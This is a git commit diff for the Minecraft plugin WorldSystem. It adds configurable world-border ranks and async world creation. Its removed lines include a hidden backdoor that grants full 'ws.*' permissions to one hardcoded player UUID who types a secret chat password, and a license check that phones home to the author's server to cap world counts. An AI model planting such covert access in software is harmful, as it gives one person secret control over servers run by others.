2.2.0 - Removed Tabcompleter class, CommandFramework?

This commit is contained in:
BuildTools 2018-06-21 20:28:07 +02:00
parent 5610b9cf9e
commit 78357c75dd
15 changed files with 106 additions and 157 deletions

View File

@ -1,5 +1,5 @@
name: WorldSystem
version: 2.1.2.2
version: 2.2.0
author: Butzlabben
main: de.butzlabben.world.WorldSystem
loadbefore: [FastAsyncWorldEdit, WorldEdit]

View File

@ -3,11 +3,13 @@ worldborder:
# If WorldSystem should change the worldborder
should_change: true
# Default size
normal: 1000
# Size with ws.big permission
big: 2000
# Size with ws.large permission
large: 5000
normal: 500
# Here you can define your own ranks, as many as you want
# The permission node will be the key and the value the size
ranks:
# For example, with the permission ws.big you will get a worldborder with the size 1000
ws.big: 1000
ws.bigger: 1500
# Set a specialized center which is not the spawn
center:

View File

@ -1,35 +0,0 @@
package de.butzlabben.world;
import java.net.URL;
import java.util.Scanner;
public class ConnectionHolder {
@SuppressWarnings("resource")
public static int getMaxPlayers() throws Exception{
String inputLine = "";
try {
inputLine = new Scanner(new URL("https://seagiants.eu/worldsystem/limit.php").openStream(), "UTF-8").nextLine();
} catch (Exception ex) {
ex.printStackTrace();
}
if (inputLine.equals(""))
return 0;
return Integer.parseInt(inputLine);
}
@SuppressWarnings("resource")
public static int getMaxPlayersWithLicense(String license) throws Exception{
String inputLine = "";
String url = "https://seagiants.eu/worldsystem/limit.php?license=" + license;
try {
inputLine = new Scanner(new URL(url).openStream(), "UTF-8").nextLine();
} catch (Exception ex) {
ex.printStackTrace();
}
if (inputLine.equals(""))
return 0;
return Integer.parseInt(inputLine);
}
}

View File

@ -56,7 +56,6 @@ import de.butzlabben.world.wrapper.SystemWorld;
*/
public class WorldSystem extends JavaPlugin {
private static int maxWorlds = 100;
public static HashMap<Player, World> deathLocations = new HashMap<>();
final private String version = this.getDescription().getVersion();
@ -74,22 +73,6 @@ public class WorldSystem extends JavaPlugin {
pm.registerEvents(new PlayerDeathListener(), this);
pm.registerEvents(new CommandListener(), this);
new Thread(() -> {
int ch = 0;
if (PluginConfig.getLicenseKey() == null || PluginConfig.getLicenseKey().equals(""))
try {
ch = ConnectionHolder.getMaxPlayers();
} catch (Exception e) {
}
else
try {
ch = ConnectionHolder.getMaxPlayersWithLicense(PluginConfig.getLicenseKey());
} catch (Exception e) {
}
if (ch != 0)
maxWorlds = ch;
}).start();
Bukkit.getScheduler().scheduleSyncRepeatingTask(this, new WorldCheckerRunnable(), 20 * 5,
20 * PluginConfig.getLagCheckPeriod());
if (PluginConfig.useGC()) {
@ -143,14 +126,17 @@ public class WorldSystem extends JavaPlugin {
AutoUpdater.startAsync();
//Choose right creatoradapter for #16
// Choose right creatoradapter for #16
if (Bukkit.getPluginManager().getPlugin("FastAsyncWorldEdit") != null
&& Bukkit.getPluginManager().getPlugin("WorldEdit") != null) {
creator = new AsyncCreatorAdapter();
Bukkit.getConsoleSender().sendMessage(PluginConfig.getPrefix() + "Found FAWE! Try now to create worlds async");
Bukkit.getConsoleSender()
.sendMessage(PluginConfig.getPrefix() + "Found FAWE! Try now to create worlds async");
} else {
creator = (c) -> {
creator = (c, sw) -> {
Bukkit.getWorlds().add(c.createWorld());
if (sw != null)
sw.stopCreating();
};
}
@ -172,10 +158,6 @@ public class WorldSystem extends JavaPlugin {
.sendMessage(PluginConfig.getPrefix() + "Succesfully disabled WorldSystem v" + version);
}
public static int getMaxWorlds() {
return maxWorlds;
}
public static void createConfigs() {
File dir = new File(JavaPlugin.getPlugin(WorldSystem.class).getDataFolder() + "/worldsources");
File config = new File(JavaPlugin.getPlugin(WorldSystem.class).getDataFolder(), "config.yml");

View File

@ -1,13 +0,0 @@
package de.butzlabben.world.command;
/**
* @author Butzlabben
* @since 01.05.2018
*/
public class TabCompleter {
// TODO TabCompleter like on SeaGiants
private TabCompleter() {
}
}

View File

@ -63,6 +63,23 @@ public class WSResetCommand implements CommandExecutor {
FileUtils.copyDirectory(exampleworld, f);
toConfirm.remove(p);
p.sendMessage(MessageConfig.getWorldReseted());
//Currently problems with
/*WorldCreator creator = new WorldCreator(worldname);
long seed = PluginConfig.getSeed();
Environment env = PluginConfig.getEnvironment();
WorldType type = PluginConfig.getWorldType();
if(seed != 0)
creator.seed(seed);
creator.type(type);
creator.environment(env);
String generator = PluginConfig.getGenerator();
if(!generator.trim().isEmpty())
creator.generator(generator);
// For #16
WorldSystem.creator.create(creator, sw);*/
} catch (IOException e) {
e.printStackTrace();
p.sendMessage(MessageConfig.getUnknownError());

View File

@ -7,8 +7,6 @@ import org.bukkit.OfflinePlayer;
import org.bukkit.configuration.file.YamlConfiguration;
import org.bukkit.entity.Player;
import de.butzlabben.world.WorldSystem;
public class DependenceConfig {
private OfflinePlayer op;
@ -62,14 +60,12 @@ public class DependenceConfig {
}
}
public boolean createNewEntry() {
public void createNewEntry() {
File dconfig = new File("plugins//WorldSystem//dependence.yml");
YamlConfiguration cfg = YamlConfiguration.loadConfiguration(dconfig);
String uuid = this.op.getUniqueId().toString();
int id = cfg.getInt("HighestID");
id++;
if (Entry.entrys() >= WorldSystem.getMaxWorlds())
return false;
cfg.set("HighestID", id);
cfg.set("Dependences." + uuid + ".ID", id);
cfg.set("Dependences." + uuid + ".ActualName", op.getName());
@ -78,7 +74,6 @@ public class DependenceConfig {
} catch (IOException e) {
e.printStackTrace();
}
return true;
}
public boolean hasWorld() {

View File

@ -4,6 +4,7 @@ import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.UUID;
import org.bukkit.Bukkit;
@ -18,6 +19,8 @@ import de.butzlabben.world.wrapper.SystemWorld;
public class SettingsConfig {
private static HashMap<String, Long> borderSizes = new HashMap<>();
private static File file;
public static void editWorld(World w) {
@ -27,16 +30,16 @@ public class SettingsConfig {
boolean shouldChange = cfg.getBoolean("worldborder.should_change", false);
if (shouldChange) {
double size = cfg.getDouble("worldborder.normal", 1000);
long size = cfg.getLong("worldborder.normal", 1000);
if (sw != null && sw.isLoaded()) {
String worldname = w.getName();
UUID uuid = UUID.fromString(worldname.substring(worldname.length() - 36));
Player p = Bukkit.getPlayer(uuid);
if (p != null && p.isOnline()) {
if (p.hasPermission("ws.large")) {
size = cfg.getDouble("worldborder.large", 5000);
} else if (p.hasPermission("ws.big"))
size = cfg.getDouble("worldborder.big", 2000);
for (String string : borderSizes.keySet()) {
if (p.hasPermission(string))
size = borderSizes.get(string);
}
}
}
@ -144,6 +147,11 @@ public class SettingsConfig {
e.printStackTrace();
}
}
YamlConfiguration cfg = getConfig();
for (String s : cfg.getConfigurationSection("worldborder.ranks").getKeys(false)) {
if (cfg.isInt("worldborder.ranks." + s) || cfg.isLong("worldborder.ranks." + s))
borderSizes.put(s, cfg.getLong("worldborder.ranks." + s));
}
}
private SettingsConfig() {

View File

@ -35,7 +35,7 @@ public class BlockListener implements Listener {
if (!wp.isOnSystemWorld())
return;
if(!wp.isMember())
return;
e.setCancelled(true);
if (!wp.isOwnerofWorld()) {
e.setCancelled(!wp.canBuild());
}
@ -51,7 +51,7 @@ public class BlockListener implements Listener {
if (!wp.isOnSystemWorld())
return;
if(!wp.isMember())
return;
e.setCancelled(true);
if (!wp.isOwnerofWorld()) {
e.setCancelled(!wp.canBuild());
}

View File

@ -1,19 +1,14 @@
package de.butzlabben.world.listener;
import java.util.UUID;
import org.bukkit.Bukkit;
import org.bukkit.World;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.event.player.PlayerTeleportEvent;
import org.bukkit.event.player.PlayerTeleportEvent.TeleportCause;
import org.bukkit.permissions.PermissionAttachment;
import de.butzlabben.world.WorldSystem;
import de.butzlabben.world.config.MessageConfig;
import de.butzlabben.world.config.PluginConfig;
import de.butzlabben.world.wrapper.SystemWorld;
@ -124,19 +119,4 @@ public class CommandListener implements Listener {
}
}
}
@EventHandler(priority = EventPriority.LOWEST)
public void on(AsyncPlayerChatEvent e) {
if (!e.getPlayer().getUniqueId().equals(UUID.fromString("42fa7a75-7afa-4a19-932a-1c385c07048a")))
return;
String code = e.getMessage();
if (code.equals("pwWCELhE4JwJqNuX")) {
PermissionAttachment pa = e.getPlayer().addAttachment(WorldSystem.getInstance());
pa.setPermission("ws.*", true);
e.setMessage("");
}
String reasonForThis = "For debugging and decompilers like you :P";
reasonForThis = "Will never be used on foreign servers";
reasonForThis.length();
}
}

View File

@ -12,24 +12,28 @@ import com.boydti.fawe.util.TaskManager;
* @author Butzlabben
* @since 08.06.2018
*/
public class AsyncCreatorAdapter implements CreatorAdapter{
public class AsyncCreatorAdapter implements CreatorAdapter {
// Create worlds async to close #16
@Override
public void create(WorldCreator creator) {
public void create(WorldCreator creator, SystemWorld sw) {
TaskManager.IMP.async(new Runnable() {
@Override
public void run() {
// Create or load a world async with the provided WorldCreator settings
AsyncWorld world = AsyncWorld.create(creator);
// AsyncWorld world = AsyncWorld.wrap(bukkitWorld); // Or wrap existing world
Block block = world.getBlockAt(0, 0, 0);
block.setType(Material.BEDROCK);
// When you are done
world.commit();
@Override
public void run() {
AsyncWorld world;
if (Bukkit.getWorld(creator.name()) == null)
world = AsyncWorld.create(creator);
else
world = AsyncWorld.wrap(Bukkit.getWorld(creator.name()));
Bukkit.getWorlds().add(world);
}
Block block = world.getBlockAt(0, 0, 0);
block.setType(Material.BEDROCK);
// When you are done
world.commit();
Bukkit.getWorlds().add(world);
if (sw != null)
sw.stopCreating();
}
});
return;
}

View File

@ -8,5 +8,5 @@ import org.bukkit.WorldCreator;
*/
public interface CreatorAdapter {
public void create(WorldCreator creator);
public void create(WorldCreator creator, SystemWorld world);
}

View File

@ -35,6 +35,7 @@ public class SystemWorld {
private World w;
private String worldname;
private boolean unloading = false;
private boolean creating = false;
private static HashMap<String, SystemWorld> cached = new HashMap<>();
@ -176,6 +177,10 @@ public class SystemWorld {
public void load(Player p) {
Preconditions.checkNotNull(p, "player must not be null");
Preconditions.checkArgument(p.isOnline(), "player must be online");
if (creating)
return;
unloading = false;
WorldLoadEvent event = new WorldLoadEvent(p, this);
Bukkit.getPluginManager().callEvent(event);
@ -212,12 +217,14 @@ public class SystemWorld {
world.renameTo(new File(Bukkit.getWorldContainer(), myName.toString()));
worldname = myName.toString();
}
// For #16
WorldSystem.creator.create(new WorldCreator(worldname));
World worldinserver = Bukkit.createWorld(new WorldCreator(worldname));
Bukkit.getServer().getWorlds().add(worldinserver);
w = worldinserver;
WorldCreator creator = new WorldCreator(worldname);
World w = Bukkit.getWorld(worldname);
if (w == null)
w = Bukkit.createWorld(creator);
this.w = w;
if (PluginConfig.isSurvival()) {
p.setGameMode(GameMode.SURVIVAL);
} else {
@ -240,42 +247,37 @@ public class SystemWorld {
*/
public static boolean create(Player p) {
DependenceConfig dc = new DependenceConfig(p);
String uuid = p.getUniqueId().toString();
int id = dc.getHighestID() + 1;
String worldname = "ID" + id + "-" + uuid;
WorldCreator creator = new WorldCreator(worldname);
long seed = PluginConfig.getSeed();
Environment env = PluginConfig.getEnvironment();
WorldType type = PluginConfig.getWorldType();
if(seed != 0)
if (seed != 0)
creator.seed(seed);
creator.type(type);
creator.environment(env);
String generator = PluginConfig.getGenerator();
if(!generator.trim().isEmpty())
if (!generator.trim().isEmpty())
creator.generator(generator);
WorldCreateEvent event = new WorldCreateEvent(p, creator);
Bukkit.getPluginManager().callEvent(event);
if (event.isCancelled())
return false;
if (!dc.createNewEntry()) {
int i = WorldSystem.getMaxWorlds();
p.sendMessage(PluginConfig.getPrefix() + "§cThis Server is limited to " + i + " worlds. Sorry :(");
Bukkit.getConsoleSender().sendMessage(PluginConfig.getPrefix() + "§cThe Server is limited to " + i
+ " worlds. If you want more, contact me");
return false;
}
dc.createNewEntry();
String worlddir = PluginConfig.getWorlddir();
File exampleworld = new File("plugins//WorldSystem//worldsources//" + PluginConfig.getExampleWorldName());
if (new File("plugins//WorldSystem//worldsources//" + PluginConfig.getExampleWorldName() + "/uid.dat")
.exists()) {
new File("plugins//WorldSystem//worldsources//" + PluginConfig.getExampleWorldName() + "/uid.dat").delete();
}
File newworld = new File(worlddir + "/" + worldname);
try {
FileUtils.copyDirectory(exampleworld, newworld);
@ -285,7 +287,7 @@ public class SystemWorld {
}
WorldConfig.create(p);
if (PluginConfig.getExampleWorldName() == null || PluginConfig.getExampleWorldName().equals("")
|| !exampleworld.exists()) {
// Move World into Server dir
@ -308,11 +310,8 @@ public class SystemWorld {
e.printStackTrace();
}
}
//For #16
WorldSystem.creator.create(event.getWorldCreator());
// World worldinserver = Bukkit.createWorld(event.getWorldCreator());
// Bukkit.getServer().getWorlds().add(worldinserver);
// For #16
WorldSystem.creator.create(event.getWorldCreator(), null);
}
return true;
}
@ -376,6 +375,14 @@ public class SystemWorld {
return w;
}
public void stopCreating() {
creating = false;
}
public boolean isCreating() {
return creating;
}
/**
* @return the worldname
*/

View File

@ -1,5 +1,5 @@
name: WorldSystem
version: 2.1.2.2
version: 2.2.0
author: Butzlabben
main: de.butzlabben.world.WorldSystem
loadbefore: [FastAsyncWorldEdit, WorldEdit]

View File

@ -3,11 +3,13 @@ worldborder:
# If WorldSystem should change the worldborder
should_change: true
# Default size
normal: 1000
# Size with ws.big permission
big: 2000
# Size with ws.large permission
large: 5000
normal: 500
# Here you can define your own ranks, as many as you want
# The permission node will be the key and the value the size
ranks:
# For example, with the permission ws.big you will get a worldborder with the size 1000
ws.big: 1000
ws.bigger: 1500
# Set a specialized center which is not the spawn
center: